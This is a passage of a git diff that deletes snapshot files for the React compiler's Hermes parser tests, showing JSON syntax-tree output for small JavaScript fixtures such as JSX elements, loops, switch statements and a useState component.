-                  "type": "ObjectPattern",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "z",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          241,
-                          242
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "z",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          241,
-                          242
-                        ]
-                      },
-                      "kind": "init",
-                      "computed": false,
-                      "shorthand": true,
-                      "method": false,
-                      "loc": null,
-                      "range": [
-                        241,
-                        242
-                      ]
-                    },
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "aa",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          244,
-                          246
-                        ]
-                      },
-                      "value": {
-                        "type": "AssignmentPattern",
-                        "left": {
-                          "type": "Identifier",
-                          "name": "aa",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            244,
-                            246
-                          ]
-                        },
-                        "right": {
-                          "type": "StringLiteral",
-                          "value": "aa",
-                          "loc": null,
-                          "range": [
-                            249,
-                            253
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          244,
-                          253
-                        ]
-                      },
-                      "kind": "init",
-                      "computed": false,
-                      "shorthand": true,
-                      "method": false,
-                      "loc": null,
-                      "range": [
-                        244,
-                        253
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    239,
-                    255
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useCustom",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      258,
-                      267
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    258,
-                    269
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  239,
-                  269
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              233,
-              270
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Button",
-                  "loc": null,
-                  "range": [
-                    275,
-                    281
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "haha",
-                      "loc": null,
-                      "range": [
-                        282,
-                        286
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "NumericLiteral",
-                        "value": 1.0,
-                        "loc": null,
-                        "range": [
-                          288,
-                          289
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        287,
-                        290
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      282,
-                      290
-                    ]
-                  }
-                ],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  274,
-                  291
-                ]
-              },
-              "children": [],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Button",
-                  "loc": null,
-                  "range": [
-                    293,
-                    299
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  291,
-                  300
-                ]
-              },
-              "loc": null,
-              "range": [
-                274,
-                300
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              274,
-              301
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Button",
-                  "loc": null,
-                  "range": [
-                    305,
-                    311
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  304,
-                  312
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXExpressionContainer",
-                  "expression": {
-                    "type": "JSXEmptyExpression",
-                    "loc": null,
-                    "range": [
-                      313,
-                      325
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    312,
-                    326
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "Button",
-                  "loc": null,
-                  "range": [
-                    328,
-                    334
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  326,
-                  335
-                ]
-              },
-              "loc": null,
-              "range": [
-                304,
-                335
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              304,
-              336
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "j",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    346,
-                    347
-                  ]
-                },
-                "init": {
-                  "type": "FunctionExpression",
-                  "id": {
-                    "type": "Identifier",
-                    "name": "bar",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      359,
-                      362
-                    ]
-                  },
-                  "params": [
-                    {
-                      "type": "ArrayPattern",
-                      "elements": [
-                        {
-                          "type": "Identifier",
-                          "name": "quz",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            364,
-                            367
-                          ]
-                        },
-                        {
-                          "type": "Identifier",
-                          "name": "qux",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            369,
-                            372
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        363,
-                        373
-                      ]
-                    },
-                    {
-                      "type": "RestElement",
-                      "argument": {
-                        "type": "Identifier",
-                        "name": "args",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          378,
-                          382
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        375,
-                        382
-                      ]
-                    }
-                  ],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [],
-                    "loc": null,
-                    "range": [
-                      384,
-                      386
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    350,
-                    386
-                  ],
-                  "loc": null,
-                  "range": [
-                    350,
-                    386
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  346,
-                  386
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              340,
-              387
-            ]
-          },
-          {
-            "type": "ForStatement",
-            "init": null,
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "i",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  398,
-                  399
-                ]
-              },
-              "operator": "<",
-              "right": {
-                "type": "NumericLiteral",
-                "value": 3.0,
-                "loc": null,
-                "range": [
-                  402,
-                  403
-                ]
-              },
-              "loc": null,
-              "range": [
-                398,
-                403
-              ]
-            },
-            "update": {
-              "type": "AssignmentExpression",
-              "operator": "+=",
-              "left": {
-                "type": "Identifier",
-                "name": "i",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  405,
-                  406
-                ]
-              },
-              "right": {
-                "type": "NumericLiteral",
-                "value": 1.0,
-                "loc": null,
-                "range": [
-                  410,
-                  411
-                ]
-              },
-              "loc": null,
-              "range": [
-                405,
-                411
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          419,
-                          420
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          421,
-                          425
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        419,
-                        425
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "i",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          426,
-                          427
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      419,
-                      428
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    419,
-                    429
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                413,
-                433
-              ]
-            },
-            "loc": null,
-            "range": [
-              391,
-              433
-            ]
-          },
-          {
-            "type": "ForStatement",
-            "init": null,
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "i",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  443,
-                  444
-                ]
-              },
-              "operator": "<",
-              "right": {
-                "type": "NumericLiteral",
-                "value": 3.0,
-                "loc": null,
-                "range": [
-                  447,
-                  448
-                ]
-              },
-              "loc": null,
-              "range": [
-                443,
-                448
-              ]
-            },
-            "update": null,
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "BreakStatement",
-                  "label": null,
-                  "loc": null,
-                  "range": [
-                    458,
-                    464
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                452,
-                468
-              ]
-            },
-            "loc": null,
-            "range": [
-              436,
-              468
-            ]
-          },
-          {
-            "type": "ForStatement",
-            "init": null,
-            "test": null,
-            "update": null,
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "BreakStatement",
-                  "label": null,
-                  "loc": null,
-                  "range": [
-                    486,
-                    492
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                480,
-                496
-              ]
-            },
-            "loc": null,
-            "range": [
-              471,
-              496
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "TaggedTemplateExpression",
-              "tag": {
-                "type": "Identifier",
-                "name": "graphql",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  500,
-                  507
-                ]
-              },
-              "quasi": {
-                "type": "TemplateLiteral",
-                "quasis": [
-                  {
-                    "type": "TemplateElement",
-                    "tail": false,
-                    "value": {
-                      "cooked": "\n    ",
-                      "raw": "\n    "
-                    },
-                    "loc": null,
-                    "range": [
-                      507,
-                      515
-                    ]
-                  },
-                  {
-                    "type": "TemplateElement",
-                    "tail": true,
-                    "value": {
-                      "cooked": "\n  ",
-                      "raw": "\n  "
-                    },
-                    "loc": null,
-                    "range": [
-                      516,
-                      521
-                    ]
-                  }
-                ],
-                "expressions": [
-                  {
-                    "type": "Identifier",
-                    "name": "g",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      515,
-                      516
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  507,
-                  521
-                ]
-              },
-              "loc": null,
-              "range": [
-                500,
-                521
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              500,
-              522
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "TaggedTemplateExpression",
-              "tag": {
-                "type": "Identifier",
-                "name": "graphql",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  526,
-                  533
-                ]
-              },
-              "quasi": {
-                "type": "TemplateLiteral",
-                "quasis": [
-                  {
-                    "type": "TemplateElement",
-                    "tail": true,
-                    "value": {
-                      "cooked": "\\t\n",
-                      "raw": "\\\\t\\n"
-                    },
-                    "loc": null,
-                    "range": [
-                      533,
-                      540
-                    ]
-                  }
-                ],
-                "expressions": [],
-                "loc": null,
-                "range": [
-                  533,
-                  540
-                ]
-              },
-              "loc": null,
-              "range": [
-                526,
-                540
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              526,
-              541
-            ]
-          },
-          {
-            "type": "ForOfStatement",
-            "await": false,
-            "left": {
-              "type": "Identifier",
-              "name": "c",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                550,
-                551
-              ]
-            },
-            "right": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "NumericLiteral",
-                  "value": 1.0,
-                  "loc": null,
-                  "range": [
-                    556,
-                    557
-                  ]
-                },
-                {
-                  "type": "NumericLiteral",
-                  "value": 2.0,
-                  "loc": null,
-                  "range": [
-                    559,
-                    560
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                555,
-                561
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [],
-              "loc": null,
-              "range": [
-                563,
-                568
-              ]
-            },
-            "loc": null,
-            "range": [
-              545,
-              568
-            ]
-          },
-          {
-            "type": "ForOfStatement",
-            "await": false,
-            "left": {
-              "type": "ArrayPattern",
-              "elements": [
-                {
-                  "type": "Identifier",
-                  "name": "v",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    577,
-                    578
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                576,
-                579
-              ]
-            },
-            "right": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "NumericLiteral",
-                      "value": 1.0,
-                      "loc": null,
-                      "range": [
-                        585,
-                        586
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    584,
-                    587
-                  ]
-                },
-                {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "NumericLiteral",
-                      "value": 2.0,
-                      "loc": null,
-                      "range": [
-                        590,
-                        591
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    589,
-                    592
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                583,
-                593
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [],
-              "loc": null,
-              "range": [
-                595,
-                600
-              ]
-            },
-            "loc": null,
-            "range": [
-              571,
-              600
-            ]
-          },
-          {
-            "type": "ForOfStatement",
-            "await": false,
-            "left": {
-              "type": "ObjectPattern",
-              "properties": [
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "v",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      610,
-                      611
-                    ]
-                  },
-                  "value": {
-                    "type": "Identifier",
-                    "name": "v",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      610,
-                      611
-                    ]
-                  },
-                  "kind": "init",
-                  "computed": false,
-                  "shorthand": true,
-                  "method": false,
-                  "loc": null,
-                  "range": [
-                    610,
-                    611
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                608,
-                613
-              ]
-            },
-            "right": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "v",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          620,
-                          621
-                        ]
-                      },
-                      "value": {
-                        "type": "NumericLiteral",
-                        "value": 1.0,
-                        "loc": null,
-                        "range": [
-                          623,
-                          624
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        620,
-                        624
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    618,
-                    626
-                  ]
-                },
-                {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "v",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          630,
-                          631
-                        ]
-                      },
-                      "value": {
-                        "type": "NumericLiteral",
-                        "value": 2.0,
-                        "loc": null,
-                        "range": [
-                          633,
-                          634
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        630,
-                        634
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    628,
-                    636
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                617,
-                637
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [],
-              "loc": null,
-              "range": [
-                639,
-                644
-              ]
-            },
-            "loc": null,
-            "range": [
-              603,
-              644
-            ]
-          },
-          {
-            "type": "ForInStatement",
-            "left": {
-              "type": "VariableDeclaration",
-              "kind": "let",
-              "declarations": [
-                {
-                  "type": "VariableDeclarator",
-                  "id": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      657,
-                      658
-                    ]
-                  },
-                  "init": null,
-                  "loc": null,
-                  "range": [
-                    657,
-                    658
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                653,
-                658
-              ]
-            },
-            "right": {
-              "type": "ObjectExpression",
-              "properties": [
-                {
-                  "type": "Property",
-                  "key": {
-                    "type": "Identifier",
-                    "name": "a",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      664,
-                      665
-                    ]
-                  },
-                  "value": {
-                    "type": "NumericLiteral",
-                    "value": 1.0,
-                    "loc": null,
-                    "range": [
-                      667,
-                      668
-                    ]
-                  },
-                  "kind": "init",
-                  "method": false,
-                  "shorthand": false,
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    664,
-                    668
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                662,
-                670
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [],
-              "loc": null,
-              "range": [
-                672,
-                677
-              ]
-            },
-            "loc": null,
-            "range": [
-              648,
-              677
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "updateIdentifier",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    685,
-                    701
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    704,
-                    705
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  685,
-                  705
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              681,
-              706
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "UpdateExpression",
-              "operator": "--",
-              "argument": {
-                "type": "Identifier",
-                "name": "updateIdentifier",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  711,
-                  727
-                ]
-              },
-              "prefix": true,
-              "loc": null,
-              "range": [
-                709,
-                727
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              709,
-              728
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "UpdateExpression",
-              "operator": "++",
-              "argument": {
-                "type": "Identifier",
-                "name": "updateIdentifier",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  733,
-                  749
-                ]
-              },
-              "prefix": true,
-              "loc": null,
-              "range": [
-                731,
-                749
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              731,
-              750
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "UpdateExpression",
-              "operator": "++",
-              "argument": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "updateIdentifier",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    753,
-                    769
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    770,
-                    771
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  753,
-                  771
-                ]
-              },
-              "prefix": false,
-              "loc": null,
-              "range": [
-                753,
-                773
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              753,
-              774
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "UpdateExpression",
-              "operator": "--",
-              "argument": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "updateIdentifier",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    777,
-                    793
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    794,
-                    795
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  777,
-                  795
-                ]
-              },
-              "prefix": false,
-              "loc": null,
-              "range": [
-                777,
-                797
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              777,
-              798
-            ]
-          },
-          {
-            "type": "SwitchStatement",
-            "discriminant": {
-              "type": "Identifier",
-              "name": "i",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                810,
-                811
-              ]
-            },
-            "cases": [
-              {
-                "type": "SwitchCase",
-                "test": {
-                  "type": "BinaryExpression",
-                  "left": {
-                    "type": "NumericLiteral",
-                    "value": 1.0,
-                    "loc": null,
-                    "range": [
-                      824,
-                      825
-                    ]
-                  },
-                  "operator": "+",
-                  "right": {
-                    "type": "NumericLiteral",
-                    "value": 1.0,
-                    "loc": null,
-                    "range": [
-                      828,
-                      829
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    824,
-                    829
-                  ]
-                },
-                "consequent": [
-                  {
-                    "type": "BlockStatement",
-                    "body": [],
-                    "loc": null,
-                    "range": [
-                      831,
-                      838
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  819,
-                  838
-                ]
-              },
-              {
-                "type": "SwitchCase",
-                "test": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "foo",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      848,
-                      851
-                    ]
-                  },
-                  "arguments": [],
-                  "loc": null,
-                  "range": [
-                    848,
-                    853
-                  ]
-                },
-                "consequent": [
-                  {
-                    "type": "BlockStatement",
-                    "body": [],
-                    "loc": null,
-                    "range": [
-                      855,
-                      862
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  843,
-                  862
-                ]
-              },
-              {
-                "type": "SwitchCase",
-                "test": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      872,
-                      873
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "y",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      874,
-                      875
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    872,
-                    875
-                  ]
-                },
-                "consequent": [
-                  {
-                    "type": "BlockStatement",
-                    "body": [],
-                    "loc": null,
-                    "range": [
-                      877,
-                      884
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  867,
-                  884
-                ]
-              },
-              {
-                "type": "SwitchCase",
-                "test": null,
-                "consequent": [
-                  {
-                    "type": "BlockStatement",
-                    "body": [],
-                    "loc": null,
-                    "range": [
-                      898,
-                      905
-                    ]
-                  }
-                ],
-                "loc": null,
-                "range": [
-                  889,
-                  905
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              802,
-              909
-            ]
-          },
-          {
-            "type": "FunctionDeclaration",
-            "id": {
-              "type": "Identifier",
-              "name": "component",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                922,
-                931
-              ]
-            },
-            "params": [
-              {
-                "type": "Identifier",
-                "name": "a",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  932,
-                  933
-                ]
-              }
-            ],
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "FunctionDeclaration",
-                  "id": {
-                    "type": "Identifier",
-                    "name": "t",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      1027,
-                      1028
-                    ]
-                  },
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [],
-                    "loc": null,
-                    "range": [
-                      1031,
-                      1033
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    1018,
-                    1033
-                  ],
-                  "loc": null,
-                  "range": [
-                    1018,
-                    1033
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "t",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        1038,
-                        1039
-                      ]
-                    },
-                    "arguments": [],
-                    "loc": null,
-                    "range": [
-                      1038,
-                      1041
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    1038,
-                    1042
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                935,
-                1046
-              ]
-            },
-            "generator": false,
-            "async": false,
-            "loc": null,
-            "range": [
-              913,
-              1046
-            ],
-            "loc": null,
-            "range": [
-              913,
-              1046
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          58,
-          1048
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        1048
-      ],
-      "loc": null,
-      "range": [
-        0,
-        1048
-      ]
-    },
-    {
-      "type": "VariableDeclaration",
-      "kind": "let",
-      "declarations": [
-        {
-          "type": "VariableDeclarator",
-          "id": {
-            "type": "Identifier",
-            "name": "moduleLocal",
-            "typeAnnotation": null,
-            "loc": null,
-            "range": [
-              1054,
-              1065
-            ]
-          },
-          "init": {
-            "type": "BooleanLiteral",
-            "value": false,
-            "loc": null,
-            "range": [
-              1068,
-              1073
-            ]
-          },
-          "loc": null,
-          "range": [
-            1054,
-            1073
-          ]
-        }
-      ],
-      "loc": null,
-      "range": [
-        1050,
-        1074
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    1074
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.todo-unconditional-set-state-lambda.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.todo-unconditional-set-state-lambda.js.snap
deleted file mode 100644
index 515c02c62593..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@error.todo-unconditional-set-state-lambda.js.snap
+++ /dev/null
@@ -1,393 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/error.todo-unconditional-set-state-lambda.js
----
-Input:
-function Component(props) {
-  let y = 0;
-  const [x, setX] = useState(0);
-
-  const foo = () => {
-    setX(1);
-    y = 1; // TODO: force foo's mutable range to extend, but ideally we can just remove this line
-  };
-  foo();
-
-  return [x, y];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "NumericLiteral",
-                  "value": 0.0,
-                  "loc": null,
-                  "range": [
-                    38,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              40
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ArrayPattern",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "x",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        50,
-                        51
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "setX",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        53,
-                        57
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    49,
-                    58
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useState",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      61,
-                      69
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "NumericLiteral",
-                      "value": 0.0,
-                      "loc": null,
-                      "range": [
-                        70,
-                        71
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    61,
-                    72
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  49,
-                  72
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              43,
-              73
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "foo",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    83,
-                    86
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "Identifier",
-                            "name": "setX",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              101,
-                              105
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "NumericLiteral",
-                              "value": 1.0,
-                              "loc": null,
-                              "range": [
-                                106,
-                                107
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            101,
-                            108
-                          ]
-                        },
-                        "directive": null,
